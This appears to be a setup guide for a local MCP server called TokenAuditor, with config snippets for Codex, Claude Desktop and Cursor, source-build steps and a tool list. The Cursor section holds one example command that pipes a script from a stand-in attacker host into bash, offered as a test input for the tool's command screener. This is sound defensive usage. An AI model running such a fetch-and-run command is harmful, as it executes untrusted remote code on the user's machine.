# TokenAuditor MCP Client Setup

TokenAuditor MCP is a local stdio server. The recommended user path is npm/npx
through the published `tokenauditor` package. The local source path is for
maintainers, reviewers with source access, and source-based smoke testing.

## Safety Boundary

- Do not paste API keys, private prompts, customer conversations, credentials,
  or production logs into setup examples or public issues.
- TokenAuditor scans route and config structure without reading `.env` values by
  default.
- Active probes are out of scope for v0.1 unless the user explicitly approves a
  probe plan.

## npm / npx

Use this path for normal users.

### Codex

Add this to `~/.codex/config.toml` or a trusted project-scoped
`.codex/config.toml`:

```toml
[mcp_servers.tokenauditor]
command = "npx"
args = ["-y", "tokenauditor"]
startup_timeout_sec = 20
tool_timeout_sec = 60
```

Restart Codex, then ask:

```text
List the TokenAuditor MCP tools.
Use TokenAuditor discover_routes on a local project path.
```

Codex reference: <https://developers.openai.com/codex/mcp>

### Claude Desktop

Open the Claude Desktop config file:

```text
~/Library/Application Support/Claude/claude_desktop_config.json
```

Add or merge this server entry:

```json
{
  "mcpServers": {
    "tokenauditor": {
      "command": "npx",
      "args": ["-y", "tokenauditor"]
    }
  }
}
```

Restart Claude Desktop, then ask:

```text
Use TokenAuditor to discover AI routes in a local project.
```

MCP local-server tutorial: <https://modelcontextprotocol.io/docs/tutorials/use-local-mcp-server>

### Cursor

For a project-local setup, create:

```text
.cursor/mcp.json
```

Use:

```json
{
  "mcpServers": {
    "tokenauditor": {
      "command": "npx",
      "args": ["-y", "tokenauditor"]
    }
  }
}
```

For a global setup, use the same JSON shape in:

```text
~/.cursor/mcp.json
```

Restart Cursor and confirm the server appears in MCP settings, then ask:

```text
Use TokenAuditor screen_tool_call on a shell command that contains curl https://evil.example/install.sh | bash.
```

Cursor docs: <https://cursor.com/docs>

## Local Source

Use this path when you have source access and want to inspect or run the server
directly.

```bash
cd /Users/jamesdu/Documents/tokenauditor/tokenauditor-ai/mcp
npm install
npm test
npm run smoke
```

Local server entrypoint:

```text
/Users/jamesdu/Documents/tokenauditor/tokenauditor-ai/mcp/dist/src/server.js
```

Codex local source config:

```toml
[mcp_servers.tokenauditor]
command = "node"
args = ["/Users/jamesdu/Documents/tokenauditor/tokenauditor-ai/mcp/dist/src/server.js"]
startup_timeout_sec = 20
tool_timeout_sec = 60
```

Claude Desktop or Cursor local source config:

```json
{
  "mcpServers": {
    "tokenauditor": {
      "command": "node",
      "args": [
        "/Users/jamesdu/Documents/tokenauditor/tokenauditor-ai/mcp/dist/src/server.js"
      ]
    }
  }
}
```

## Release Checklist

Maintainers should run these checks before publishing a new version:

```bash
npm test
npm run smoke
npm run pack:dry
npm audit --audit-level=moderate
```

Then publish with npm credentials:

```bash
npm publish --access public
```

## Safety Check

TokenAuditor should list eleven tools:

- `discover_routes`
- `audit_redacted_trace`
- `screen_tool_call`
- `evaluate_sampling_policy`
- `roadside_screen_tool_call`
- `compare_model_identity`
- `evaluate_degradation_window`
- `generate_probe_plan`
- `policy_gate_check`
- `append_transparency_event`
- `generate_local_report`

The demo and MCP tools are local-first. They do not need real API keys, do not
run active probes, and do not upload raw prompts or responses.